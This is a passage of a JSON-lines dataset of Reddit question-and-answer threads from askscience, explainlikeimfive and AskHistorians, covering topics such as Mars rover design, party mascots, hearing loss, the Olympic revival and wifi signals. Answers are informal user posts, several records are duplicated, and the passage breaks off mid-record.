["http://arstechnica.com/business/2012/04/exclusive-a-behind-the-scenes-look-at-facebook-release-engineering/"], [], ["https://www.facebook.com/video/video.php?v=10100259101684977&amp;oid=9445547199&amp;comments"]]}
{"q_id": "282vx0", "title": "What is holding back scientists from finding a cure for allergy, for an example dog allergy?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/282vx0/what_is_holding_back_scientists_from_finding_a/", "answers": {"a_id": ["ci6wcd9"], "score": [2], "text": ["Allergies are unfortunately an immunoresponse; meaning your body sees the trigger as a foreign body and does everything it can to keep it out of flush it out. The only way to cure an allergy would to vaccinate yourself with the allergen over and over again until your immune system learns that the substance isn't a contaminant and stops freaking out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "h9fry", "title": "Is reading a visual or auditory method of learning?", "selftext": "Reading involves assigning sounds to symbols but which sense does it utilise more? I suppose deaf people have never heard the sounds with which we associate the characters but for the majority of us the two are inseparable.\n\nedit:grammar\n\nedit: To clarify: If you have two people, one who tends to learn better through visual cues such as diagrams, and another who learns more efficiently from listening to descriptions (all other things being equal), to whom would reading be a more effective method of absorbing information?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/h9fry/is_reading_a_visual_or_auditory_method_of_learning/", "answers": {"a_id": ["c1tn30p", "c1tntfc"], "score": [3, 8], "text": ["I think you answered your own question. It depends on why you want to know the distinction, since that'll help you to define the two more clearly, but as par your example it's clear that you don't need auditory phenomena to read.\n\nThe deeper question might get at the psychological underpinnings of language. I don't know the current most advanced opinion, but it's clear that you can both learn to converse without learning to read/write and learn to read/write without learning to converse. It seems then that it's orthogonal to them both.", "While this question fits really well to my tag, I haven't really focused on learning styles or a thorough analysis of the four skills (reading, writing, speaking, listening) in my studies.  So take the comments below as semi-layman speculation.  \n\nThe answer to your question might very well depend on the learner.  \n\nThere are applied linguists who claim that when *everyone* reads, they're essentially sounding out the words in their head as they read.  I find this a bit hard to accept, since I don't feel like I do it personally.  People teaching \"speed reading\" make the same claim, saying that the key to faster reading is to overcome this internal articulation of the sounds.  \n\nMy own impression is that people who tend to be more auditory/aural learners probably read differently from people who tend to be more visual learners.  I suspect that the extent to which people \"sound out\" words while reading varies greatly from person to person.  \n\nUltimately, I think the question is also pretty vague (it's not your fault though).  I don't think there's a clear way to define \"visual\" activities as opposed to \"aural/auditory\" activities.  Some cases are clear, like looking at a picture or listening to a radio program.  But other cases are in a grey area, like reading/writing.  I doubt anyone has defined visual and aural precisely enough to really clarify this issue.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1jyzdz", "title": "america's cup sailing", "selftext": "Especially the roles of different crew members and the controversy around the new boats!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1jyzdz/eli5_americas_cup_sailing/", "answers": {"a_id": ["cbjwtd0"], "score": [2], "text": ["There was great article in WIRED a few months ago about it. I'm just learning about it myself and I found it very interesting: _URL_1_\n\n\nFound a 2nd article while looking for the original one online. Enjoy! \n_URL_0_\n\nSorry I don't know much more that can help you. :) \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.wired.com/magazine/2011/08/ff_americascup/", "http://www.wired.com/autopia/2013/05/americas-cup-boat-crash/"]]}
{"q_id": "mzofg", "title": "How far off curing noise induced hearing loss are we?", "selftext": "Title says it all...\n\n**Edit**\n\nThe reason I ask is I am a music producer by profession, I am always very careful will the volume I work at for obvious reasons, I keep seeing graphs basically plotting duration over dB, so hearing damage occurs after 1 minute at 120dB, 5minutes at 100dB, 1 Hour at 90dB and so forth, with that in mind, it seems even if I operate at relatively low volumes if I work for 12hours a day on a project at 70dB noise induced hearing damage will still occur...", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/mzofg/how_far_off_curing_noise_induced_hearing_loss_are/", "answers": {"a_id": ["c354wal", "c355fbo", "c356m7d", "c354wal", "c355fbo", "c356m7d"], "score": [27, 5, 3, 27, 5, 3], "text": ["You may find this recent post of a 2005 article of interest: [_URL_0_](_URL_0_) [link in title].\n\nSince noise induced hearing loss is all about cochlear hair-cell death, this question is intimately bound up with how far off we are from mastering stem-cell regeneration - something that perhaps one of our resident experts would care to expound upon?", "Medically curing seems a decent ways off.  However, using technology we already have cochlear implants on the market which which can bypass the damaged cochlear hairs.  They use microphones and provide an electrical signal directly to the auditory nerve like the cochlea normally does.  Granted, they're currently not that good but can help most people understand speech.  \n\nIt seems like implants are the near term solution and I'm sure they will only get better as the technology is refined.  There are tons of improvements that can be made to the hardware and software to make them perform better and be more discrete.  One would think that eventually the implants will surpass natural hearing, at least if science fiction is right.  Granted I think most people would opt for stem cell treatment or something along those lines when it becomes available for a more natural solution.  ", "It has been discovered that some birds can regenerate haircells after they have been damaged, so they are looking into how this can be achieved with humans.  I think [this article](_URL_0_) sums it up.\nHow far away that puts us from a cure is hard to say.  ", "You may find this recent post of a 2005 article of interest: [_URL_0_](_URL_0_) [link in title].\n\nSince noise induced hearing loss is all about cochlear hair-cell death, this question is intimately bound up with how far off we are from mastering stem-cell regeneration - something that perhaps one of our resident experts would care to expound upon?", "Medically curing seems a decent ways off.  However, using technology we already have cochlear implants on the market which which can bypass the damaged cochlear hairs.  They use microphones and provide an electrical signal directly to the auditory nerve like the cochlea normally does.  Granted, they're currently not that good but can help most people understand speech.  \n\nIt seems like implants are the near term solution and I'm sure they will only get better as the technology is refined.  There are tons of improvements that can be made to the hardware and software to make them perform better and be more discrete.  One would think that eventually the implants will surpass natural hearing, at least if science fiction is right.  Granted I think most people would opt for stem cell treatment or something along those lines when it becomes available for a more natural solution.  ", "It has been discovered that some birds can regenerate haircells after they have been damaged, so they are looking into how this can be achieved with humans.  I think [this article](_URL_0_) sums it up.\nHow far away that puts us from a cure is hard to say.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/science/comments/mrdr3/deafness_is_cured_in_guinea_pigs/"], [], ["http://depts.washington.edu/hearing/InnerEarHairCellRegeneration.php"], ["http://www.reddit.com/r/science/comments/mrdr3/deafness_is_cured_in_guinea_pigs/"], [], ["http://depts.washington.edu/hearing/InnerEarHairCellRegeneration.php"]]}
{"q_id": "6tzmrt", "title": "Is there any register of incendiary weapons beign used in ancient and medieval battles besides in naval combat or artillery?", "selftext": "I have always wondered why something like a molotov cocktail wasn't widely used in infantary combat, throwing a pot filled with a flammable liquid at a shield wall would most definitelly be enough to break formation. \n\nConsidering since ancient times there are accounts of ships using primitive flamethrowers to burn other ships, and even setting pigs on fire hoping they would run towards the opposing army to break formation, I assume people back then were fully aware of how fire could be used in combat and even had liquids that burned well enough to be used in this manner, so I wonder why something like this is never mentioned (as far as I know)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6tzmrt/is_there_any_register_of_incendiary_weapons_beign/", "answers": {"a_id": ["dlozno0"], "score": [3], "text": ["Non-naval, non-artillery incendiary weapons were used. Fire arrows, fire bombs (like Molotov cocktails), one-man flamethrowers.\n\nHowever, the hand-thrown firebombs and one-man flamethrowers have a short range, and hand-thrown firebombs don't deliver much burning liquid. It's hard to carry many of them. So very unlikely to be a battle-winning weapon. Uncommon, not decisive, but not so novel as to encourage their description as a marvel, so little mention in contemporary accounts is to be expected.\n\nFor a later analogous case, consider the hand grenade. Grenades were used in 17th century battles, but you rarely see any mention of them in descriptions of battles.\n\nHowever, there are some accounts describing the use of personal incendiary weapons. Jean de Joinville, *The Life of St Louis* has\n\n >  Finally, they brought up a peasant, who threw Greek fire at them thrice. Once William of Boon caught the vessel of Greek fire on his buckler, for if it had set light to anything on him, he would have been burnt. We were all covered with the fire-darts that missed the serjeants.\n\nThere is a short world-wide summary of ancient and early Medieval incendiary weapons in the early part of *Science and Civilisation in China, Vol. 5, Part 7 Military Technology: The Gunpowder Epic* (about 30 pages).\n\n >  throwing a pot filled with a flammable liquid at a shield wall would most definitelly be enough to break formation.\n\nYou can find modern video footage of rioters throwing Molotov cocktails at shield walls. Sometimes the formation breaks, sometimes the formation just moves 2 metres, and sometimes the formation is unaffected."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2n5wiz", "title": "what is the significance of a donkey and an elephant in american politics?", "selftext": "I understand they are the mascots for the Republicans and the Democrats, but is there a reason why? I am not American, so if this is common knowledge I'm sorry.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2n5wiz/eli5_what_is_the_significance_of_a_donkey_and_an/", "answers": {"a_id": ["cmaliz5", "cmamyhv", "cmas3pa"], "score": [32, 81, 15], "text": ["There's no real \"significance\". They both come from political cartoons from the mid 1800's. The republicans tried to label a democratic presidential candidate a jackass hence the donkey. He was able to turn it around to his advantage and in another cartoon the donkey was scaring other animals, one being an elephant that was labeled \"the republican vote\" and they've stuck ever since.\nAnd I don't think this is really \"common knowledge\"", "Both symbols were popularized by political cartoonist Thomas Nast in one of his more famous cartoons. [Take a look here](_URL_0_)\n\nThe choice of the elephant to represent Republicans was rather arbitrary. The choice of the donkey to represent Democrats has its roots with President Andrew Jackson, whose political opponents called him a \"jackass\" for various reasons. Jackson took it as a compliment and would use the image of a donkey on his campaign posters. It was quite fitting, considering his stubbornness.\n\nNeither party had actually chosen those animals to represent themselves, but the popularity of the cartoon lead to the eventual adoption of those animals.", "Presidential candidate Andrew Jackson was the first Democrat ever to be associated with the donkey symbol. His opponents during the election of 1828 tried to label him a \"jackass\" for his populist beliefs and slogan, \"Let the people rule.\" Jackson was entertained by the notion and ended up using it to his advantage on his campaign posters.\n\nBut cartoonist Thomas Nast is credited with making the donkey the recognized symbol of the Democratic Party. It first appeared in a cartoon in Harper's Weekly in 1870, and was supposed to represent an anti-Civil War faction. But the public was immediately taken by it and by 1880 it had already become the unofficial symbol of the party.\n\nPolitical cartoonist Thomas Nast was also responsible for the Republican Party elephant. In a cartoon that appeared in Harper's Weekly in 1874, Nast drew a donkey clothed in lion's skin, scaring away all the animals at the zoo. One of those animals, the elephant, was labeled \"The Republican Vote.\" That's all it took for the elephant to become associated with the Republican Party.\n\nThey became a mainstay in the American political system when they played the role of economizing devices at the polls. In the late 19th Century when literacy rates were low, a symbol representing a party and its associated platform was easier to rally behind than a complicated, written party name or a platform. Instead of trying to decipher \"REPUBLICAN\", illiterate American voters would just check the elephant instead. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://web.archive.org/web/20010620132240/http://www.c-span.org/questions/images/thomasnast.jpg"], []]}
{"q_id": "n4qfj", "title": "Why are the Mars Rovers so slow both physically and in processing speed?", "selftext": "I mean it's great that the rovers surpassed expectations by immense amounts. Apparently NASA had planned for Spirit to drive for only 600 m.\n\nWhy? Why does the Rover technology seem so lame? I would've expected more robust and faster rovers.\n\nAlso, [on this page](_URL_0_), the computer systems of the Rovers is shown.\n\nCuriosity was launched this year. It has 256 MB RAM and 200 GHz processor. I am going to make a guess that they didn't NEED more than that. If that's the reason, then it seems reasonable.\n\nI still don't get why they have to be slow. Would faster rovers damage themselves too much? I am pretty sure my mountain bike takes more abuse than the rover (in terms of terrain encountered - the radiation might be a whole different issue).\n\nAs you can see, I don't really get it. Can someone give an overview of why these specific design decision were made and why the rover wasn't designed to do more than it can right now?\n\n---\n\nAlso, why did they predict such low expectations for the previous rovers? It's seemed kinda obvious to me that unless their solar panels got covered by dust or something, the rovers would continue to run pretty well.\n\nEdit: Just occurred to me, but does the speed have more to do with the limited solar power rather than technological limits placed on the rover?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/n4qfj/why_are_the_mars_rovers_so_slow_both_physically/", "answers": {"a_id": ["c3686s2", "c3686x3", "c36879l", "c368lrh", "c368tgd", "c3695n5", "c369pwn", "c3686s2", "c3686x3", "c36879l", "c368lrh", "c368tgd", "c3695n5", "c369pwn"], "score": [10, 25, 198, 7, 11, 2, 7, 10, 25, 198, 7, 11, 2, 7], "text": ["The speed has to do with the amount of energy it can use. The only reason an electric car can run somewhat fast is because it has a battery. But a car battery finishes VERY fast, and a Rover also has to do a bunch of other stuff that uses up energy. Also, there is no real big advantage in running around super fast.", "Because the priority is high reliability rather than speed. This is also why the early [space shuttle computers](_URL_1_) used [core memory](_URL_0_).", "If you were riding your bike on Mars, you could look around and see the upcoming rocks, and figure out how best to navigate around them pretty easily.  It's a little bit harder for the rover, though.  Every time that the rover moves, it has to look around via some mechanism/s - radar, lidar, etc., and see what's nearby.  After receiving the data, the data has to be processed - and image recognition can be pretty tricky.  Is that a rock directly in front of me?  Is it small enough to ignore, or do I have to go around it?  If I have to go around it, which way is shorter?  Is there another rock on that side?  ...and then keep repeating this....\n\nManual commands from Earth take about 20 minutes round-trip, assuming that the operators can react instantly.  If the rover is moving fast and is approaching something that it can't handle, well, you might have a rather expensive problem.\n\nIf the processor was more powerful, then the rover would be able to move faster (within certain bounds).  However, the processor is a very specialized unit (200 MHz, not GHz) in that it's able to withstand the bombardment of solar radiation for a long period of time.  Check out 'alpha strike' in regards to processors and RAM.\n\nLimited power is also a big problem.  Batteries are heavy!  Solar panels (and sensors) get dusty *very* quickly.  A lot of effort has gone into developing 'self-cleaning' panels, with mixed success.  Windshield-wiper type solutions aren't always desirable because they can easily scratch the panels with adhered dust particles.", "Short version: there's no point to going fast, and lots of advantages to going slow.  It might be cool to imagine the rover zipping around on the surface of Mars, but it wouldn't be accomplishing anything for science.", "The processor seems slow by todays top of the line systems because it's specially designed to be radiation-hardened. You need to remember that this thing has to travel through space and it subjected to significantly higher levels of radiation, also the rover is powered and heated by a radioisotope thermoelectric generator (most energy efficient)\n\nComputers on earth are protected from this by the atmosphere so aren't designed to resist radiation.  To design a current processor to be radiation-hardened would be extremely expensive and quite frankly not necessary.  It's not like the rover needs to play skyrim up there.", "Keep in mind the rover has to be shot into space, flown to Mars and landed on the surface. Right away that puts some constraints on the size, weight and shape of anything we're sending to Mars.\n\nThen add in the fact it has to generate its own power and cannot receive any repairs or maintenance.\n\nThe rover isn't a powerhouse, but it *is* an amazing piece of technology.", "* Physical speed (driving) isn't nearly as a high a priority as reliability. As epicgeek mentioned, they can never receive maintenance. Also keep in mind that while your average hobbyist RC car can go relatively fast, battery powered models run out of 'juice' within minutes. There's no plugs on Mars and the limited surface area of the solar cells (constrained by weight, size, and packaging constraints) mean that those batteries charge *slowly*.\n* Processor speed is limited by a number of factors too numerous to mention here but the top ones that spring to mind are radiation hardening, power management, and mission conception-to-launch timeframes. Your average 2 ghz laptop would last perhaps minutes in the vacuum of space and the limited atmosphere of Mars, let alone the radiation encountered on the trip and on the relatively unshielded surface of Mars. Also...how much power is required locally to take pictures from the numerous cameras on board? All of the post-processing takes place on the ground, and you only need a small bit of on-board logic for driving and operation of the various non-optical instruments (the RAT, etc.) If you don't need the kind of cpu horsepower to do menial tasks onboard, you're wasting that precious electrical power with anything overpowered. The last thing to consider is that you don't build Rovers overnight. They're not typically built with off the shelf components, and designs start *years* before launch. What might have been cutting edge when the physical design was frozen most likely wasn't by the time the Rover launched. There's more factors but as I said, those are the top ones that come to my mind.\n* Processing/control delay - essentially the amount of time it takes for us to 'see' what the rover sees, 'drive' the rover, and receive other non-optical science data is limited by a few factors, chief among them distance. On landing, the Curiousity rover will have a 13 some odd minute data transmission delay between the surface of Mars and Earth. Therefore any 'reaction' that occurs takes somthing like 26 minutes and change, and that's not accounting for time for the management to make decisions. There's also practical limits on the data transmission speeds, somewhere along the lines of tens of kilobits pers second. While the relay functions of the various orbiters (the MRO comes to mind) help, it's not like there's wifi backed up by a DSL connection to the surface of Mars. And the images coming in take a bit to process because at least from the MER rovers (Spirit and Opportunity) the pictures are actually coming in in pieces, and in black and white, and are artificially colored in post based on the wavelengths recieved via various filters on the rovers themselves.\n\nIf you're truly interested, there's an excellent book by Steve Squyres called Roving Mars (and an also excellent companion IMAX movie of the same name) that goes in depth into the design, construction, launch, and early mission of the MER rovers.", "The speed has to do with the amount of energy it can use. The only reason an electric car can run somewhat fast is because it has a battery. But a car battery finishes VERY fast, and a Rover also has to do a bunch of other stuff that uses up energy. Also, there is no real big advantage in running around super fast.", "Because the priority is high reliability rather than speed. This is also why the early [space shuttle computers](_URL_1_) used [core memory](_URL_0_).", "If you were riding your bike on Mars, you could look around and see the upcoming rocks, and figure out how best to navigate around them pretty easily.  It's a little bit harder for the rover, though.  Every time that the rover moves, it has to look around via some mechanism/s - radar, lidar, etc., and see what's nearby.  After receiving the data, the data has to be processed - and image recognition can be pretty tricky.  Is that a rock directly in front of me?  Is it small enough to ignore, or do I have to go around it?  If I have to go around it, which way is shorter?  Is there another rock on that side?  ...and then keep repeating this....\n\nManual commands from Earth take about 20 minutes round-trip, assuming that the operators can react instantly.  If the rover is moving fast and is approaching something that it can't handle, well, you might have a rather expensive problem.\n\nIf the processor was more powerful, then the rover would be able to move faster (within certain bounds).  However, the processor is a very specialized unit (200 MHz, not GHz) in that it's able to withstand the bombardment of solar radiation for a long period of time.  Check out 'alpha strike' in regards to processors and RAM.\n\nLimited power is also a big problem.  Batteries are heavy!  Solar panels (and sensors) get dusty *very* quickly.  A lot of effort has gone into developing 'self-cleaning' panels, with mixed success.  Windshield-wiper type solutions aren't always desirable because they can easily scratch the panels with adhered dust particles.", "Short version: there's no point to going fast, and lots of advantages to going slow.  It might be cool to imagine the rover zipping around on the surface of Mars, but it wouldn't be accomplishing anything for science.", "The processor seems slow by todays top of the line systems because it's specially designed to be radiation-hardened. You need to remember that this thing has to travel through space and it subjected to significantly higher levels of radiation, also the rover is powered and heated by a radioisotope thermoelectric generator (most energy efficient)\n\nComputers on earth are protected from this by the atmosphere so aren't designed to resist radiation.  To design a current processor to be radiation-hardened would be extremely expensive and quite frankly not necessary.  It's not like the rover needs to play skyrim up there.", "Keep in mind the rover has to be shot into space, flown to Mars and landed on the surface. Right away that puts some constraints on the size, weight and shape of anything we're sending to Mars.\n\nThen add in the fact it has to generate its own power and cannot receive any repairs or maintenance.\n\nThe rover isn't a powerhouse, but it *is* an amazing piece of technology.", "* Physical speed (driving) isn't nearly as a high a priority as reliability. As epicgeek mentioned, they can never receive maintenance. Also keep in mind that while your average hobbyist RC car can go relatively fast, battery powered models run out of 'juice' within minutes. There's no plugs on Mars and the limited surface area of the solar cells (constrained by weight, size, and packaging constraints) mean that those batteries charge *slowly*.\n* Processor speed is limited by a number of factors too numerous to mention here but the top ones that spring to mind are radiation hardening, power management, and mission conception-to-launch timeframes. Your average 2 ghz laptop would last perhaps minutes in the vacuum of space and the limited atmosphere of Mars, let alone the radiation encountered on the trip and on the relatively unshielded surface of Mars. Also...how much power is required locally to take pictures from the numerous cameras on board? All of the post-processing takes place on the ground, and you only need a small bit of on-board logic for driving and operation of the various non-optical instruments (the RAT, etc.) If you don't need the kind of cpu horsepower to do menial tasks onboard, you're wasting that precious electrical power with anything overpowered. The last thing to consider is that you don't build Rovers overnight. They're not typically built with off the shelf components, and designs start *years* before launch. What might have been cutting edge when the physical design was frozen most likely wasn't by the time the Rover launched. There's more factors but as I said, those are the top ones that come to my mind.\n* Processing/control delay - essentially the amount of time it takes for us to 'see' what the rover sees, 'drive' the rover, and receive other non-optical science data is limited by a few factors, chief among them distance. On landing, the Curiousity rover will have a 13 some odd minute data transmission delay between the surface of Mars and Earth. Therefore any 'reaction' that occurs takes somthing like 26 minutes and change, and that's not accounting for time for the management to make decisions. There's also practical limits on the data transmission speeds, somewhere along the lines of tens of kilobits pers second. While the relay functions of the various orbiters (the MRO comes to mind) help, it's not like there's wifi backed up by a DSL connection to the surface of Mars. And the images coming in take a bit to process because at least from the MER rovers (Spirit and Opportunity) the pictures are actually coming in in pieces, and in black and white, and are artificially colored in post based on the wavelengths recieved via various filters on the rovers themselves.\n\nIf you're truly interested, there's an excellent book by Steve Squyres called Roving Mars (and an also excellent companion IMAX movie of the same name) that goes in depth into the design, construction, launch, and early mission of the MER rovers."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Comparison_of_embedded_computer_systems_on_board_the_Mars_rovers"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Magnetic-core_memory", "http://en.wikipedia.org/wiki/Space_Shuttle#Flight_systems"], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Magnetic-core_memory", "http://en.wikipedia.org/wiki/Space_Shuttle#Flight_systems"], [], [], [], [], []]}
{"q_id": "z4amj", "title": "If we created a colony on Mars, could we make it disease free? ", "selftext": "Of communicable diseases, at least.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/z4amj/if_we_created_a_colony_on_mars_could_we_make_it/", "answers": {"a_id": ["c61bv9n", "c61c4rt"], "score": [30, 10], "text": ["No.  We, as humans, need bacteria to survive.  We need natural \"helpful\" bacteria which live within our digestive tracts, in our airways, and over every millmeter of our skin.\n\nGiven time, and the outrageous rate at which bacteria mutates, it is inevitable that some strains of said bacteria would become virulent.", "The short answer, not using any modern technology.\n\nThe long answer.  Transmittable diseases in humans can be grouped into three categories; genetic disorders, cellular pathogens, and viruses/prions.  We can kill cellular pathogens like bacteria or yeast.  However aside from occasionally harming us they are essential to most of the food we eat, so a sterile Mars would require a drastic change in diet.  For genetic diseases, some disorders like sickle-cell anemia or Huntington's could be eradicated by screening the candidates.  But most genetic disorders the gene(s) that caused them are not known.  The problem with viruses and prions are they are so small there is no way of knowing if someone is carrying them.  And even if you did, practically everyone has at least one virus in there body right now.  Though you may feel perfectly healthy at the moment, you do have at least  one gene in one cell infected with virus DNA.  Once that cell, or its daughters, starts transcribing, the virus will become active again."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "qwroc", "title": "Music historians: If I had a time machine, a radio and some CDs, which historical era and culture would enjoy today's music most? ", "selftext": "I was rockin' out to some Vivaldi today (as one does), when I began wondering which time periods and peoples from our past, if any, would find the music of *our* time fun and danceable. \n\nI know, I know - the odds of me being burned at the stake for introducing the boombox centuries ahead of its time are pretty high. But indulge me! ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/qwroc/music_historians_if_i_had_a_time_machine_a_radio/", "answers": {"a_id": ["c412i2t", "c416xwl", "c41870u", "c419r2z", "c41b2ky"], "score": [2, 7, 9, 5, 5], "text": ["What exactly do you classify as 'today's music'? Hip hop? Heavy metal? Boy/girl band pop? \n\n", "Maybe this is a bit of a cop-out, but I would postulate the people who would most enjoy hip hop historically would be Medieval West African peoples, as the originating cultures who, with some slave-syncretism to White-European cultural archetypes, created many of the important aspects of hip hop culture (the general hip-oriented competitive dancing techniques commonly employed, the [call-and-response group oriented singing](_URL_0_), etc).\n\nHowever, I feel all historical peoples would be completely shocked by modern music, outside perhaps folk and modern art music (what you might call \"modern classical\"). There's been such a departure from traditional music, something like Skrillex would be utterly alien to them.", "Hip-hop and rock wouldn't translate well at all.  Almost none of it would really be \"danceable\" if you went back farther than the 1950s (and even that's a stretch for some things).  Keep in mind that the principal instruments in popular music today are fairly new.  Electric guitars were invented in 1952 by Les Paul, and though the first thing that could be considered a modern Synth existed in 1939, the first synthesizer that was actually on the market to be bought/used/played was the Moog in 1965.  \n\nSo not only would you be expecting someone to adapt to a completely different type of rhythm alien to their culture, but you'd be expecting them comprehend instruments they hadn't ever heard before.  Its a tough thing for people to adjust to.  I think your best bet would be with pre-European African cultures, as was posted earlier.  \n\nYou might have better luck with something harmonically universal and simpler rhythmically like the blues, but even that, only if you were playing it for composers/performers.  Laymen would hear it as very dissonant because of the dominant I chord.  (In non-jargon, there's an extra note in the chord any blues is based in that wasn't culturally accepted for the most part before jazz.  People would interpret it as a wrong note).\n\nIn a similar vein, I'm not an art historian, but I'm sure artist from the renaissance would be completely shocked by someone like Mondrian.  Culture doesn't translate back well.  \n\nTL;DR Its easier for us to enjoy where we came from then for where we came from to enjoy/understand where we went.\n\nEdit: double checked a fact, was off by a few years.  ", "This might not be an answer you were expecting, but I'm pretty sure American Bluegrass music would be pretty popular in pre-modern Europe. It's kind of comparable to older European folk music like Hungarian Csardas as well as Irish ceili music it's influenced by.", "I think that in terms of Western Music History, the only thing that I could imagine bringing back to another decade is modern pop music.  I would bring that back to the classical era (1750-1800).  Many people would not understand it, but they would generally recognize the chord structures, and they would probably enjoy its dance-ability.  Modern pop music basically tricks our brain into releasing endorphin, because we have certain expectations about where the music will go, and when the music fulfills our predictions, the brain releases endorphin.  The chords and structures in pop music today (mostly I-IV-V-I and full cadences) would be mostly familiar to Classical era listeners.  Later composers tried to do more technically complicated things, and may not appreciate the simple nature as much.  It would certainly take whoever is listening some time to get used to the new instruments and computer generated sounds, but at least they would recognize it as music, and could come to enjoy it.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.youtube.com/watch?feature=player_detailpage&amp;v=ZrlJX7DzLhI#t=28s"], [], [], []]}
{"q_id": "96g8qq", "title": "I read that dogs can remember hundreds of humans according to their Scent fingerprint. What causes everyone to have unique scent?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/96g8qq/i_read_that_dogs_can_remember_hundreds_of_humans/", "answers": {"a_id": ["e41jtej"], "score": [6], "text": ["First, diet, I guess. Second, processing of each component in that diet differing based on gut composition (both internal and external such as microflora). Third, sweat composition based on diet, water retention etc. Fourth, your cosmetics used such as soap, deodorant. Fifth, clothes e.g. their material, what you use to wash them, how often you wash them. Sixth, the individuals you live/interact with. Seventh, the things you touch. Lastly, combination of all of them creating a vast number of potential smells for any given individual. Just a few things I can think of of the top of my head. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8rqwr0", "title": "Olympics Games is one of four Panhellenic Games. Have organizers of first modern Olympic Games thought about reviving the rest of competitions?", "selftext": "Edit: The other three Games are [Pythian, Nemean, and Isthmian.](_URL_1_) According to [Diogenes Laertius](_URL_0_), Plato wrestled in Isthmian games. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8rqwr0/olympics_games_is_one_of_four_panhellenic_games/", "answers": {"a_id": ["e0uhp7s"], "score": [58], "text": ["Long story short: No because the Olympic Games in classical Greece was the most famous Panhellenic game and as such was thought of as the most glorifying. In the revival, a Greek poet called Soutsos urged for the glorification of mid-19th century Greece through a revival of the Olympic Games and that specific Panhellenic game stuck with future revivalists. \n\n\n\nI am summarizing this quite a bit from a book called \"A brief History of the Olympic Games\" by David C. Young but the revival of the games started by a Greek poet Panagiotis Soutsos who wrote a poem called \"Dialogue of the Dead\" in 1833 in which during a conversation with Plato's ghost, the ghost asks \"Where are your Olympic games?\" as a way to question why 19th century Greece is in shambles compared to the glory of classical greece. Young points out why Soutsos used the Olympic games and not one of the other Panhellenic games for the revival of Greek glory: \"In antiquity the Olympic Games symbolized excellence and prestige, a focal point for all of Greek culture\" (Young 141). This is important because if Soutsos has called for a different Panhellenic Game then we might have a different name for our modern Olympic Game.\n\n\n\nWhat we, as historians, classify as modern Olympic Games did not start until a Frenchmen named Pierre de Coubertin came along. Even then, the Olympic revival did not become a smashing success until the 1908 London Games as the 1896,1900, and 1904 games were largely problematic due to location or political agendas. \n\n\n\nThe closest we get to a Panhellenic Game by Coubertin is the 1906 Intercalated games which were supposed to be the Olympic Games held only in Athens, Greece every two years between the Olympic Games (which were held internationally). You can read about these games in journal by Karl Lennartz called \"The 2nd International Olympic Games in Athens 1906\". This game, although sharing the same 2-year post olympic setting as the Panhellenic \"Pythian Games\" had, was created with no thought of the Pythian Games in mind (hence the different name) and as such is not considered a revival of a different Panhellenic game.\n\n\n\nThe Olympic Game revival began as a platform to get schoolchildren into athletics at school because there were a lot of philosophers in the late 19th century suggesting the training of both the mind and the body and through various social-Darwinistic viewpoints, that the English population was not ready for war because they allow the weak to breed. So the Olympic Games were a way to ensure school children would be fit so they could get glory in the Olympic games. This is evident in the W.P. Brookes' revival of the Olympic games in Wenlock, England. They were eventually called the Wenlock Games and were fundamental to Coubertin's influence in a modern revival. For more on this read \"Olympism\" by Pierre de Coubertin and edited by Norbert Muller.\n\n\n\nSources: \n\n\"Dialogue of the Dead\" by Panagiotis Soutsos\n\n\"A Brief History of the Olympic Games\" by David C. Young\n\n\"The 2nd International Olympic Games in Athens 1906\" by Karl Lennartz\n\n\"Olympism\" by Pierre de Coubertin and edited by Norbert Muller\n\n"]}, "title_urls": [], "selftext_urls": ["https://en.wikisource.org/wiki/Lives_of_the_Eminent_Philosophers/Book_III", "https://en.wikipedia.org/wiki/Panhellenic_Games"], "answers_urls": [[]]}
{"q_id": "6qh59e", "title": "what are wifi signals made of?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6qh59e/eli5_what_are_wifi_signals_made_of/", "answers": {"a_id": ["dkx7l3q", "dkx7wc9"], "score": [7, 3], "text": [" > what are wifi signals made of?\n\nLight.  Specifically, microwaves (which are a wavelength of light way below infrared).\n\n > Can you break them down to an atom?\n\nLight is not made up of atoms.  It's its own thing.\n\n > How come we can't see it? \n\nBecause the human eye can't detect microwaves.  We also can't see x-rays, radio waves, ultraviolet light, or infrared light.  All those are frequencies of light that lie outside of the visible spectrum.", "It is electromagnetic radiation. All radio signals as well as light are the same. There are no atoms. There is an electric and magnetic field combination that pulses in different ways to transmit differing waves of information. These waves are made in an expected way so that the receiving antenna can make sense of them. In regards to controlling them, the answer is: sometimes. Imagine the signal is a bunch of couriers with coded messages for the king. You can punch the couriers so they don't get the message to the king (kinda but not really - it's supposed to be signal jamming). You can find the magic decoder ring to read/write/rewrite the couriers messages for the king. You can send your own nonsensical messages to the king. Basically, you're not going to typically be altering the physical radio waves unless you are physically blocking the path with something that the wave cannot penetrate.  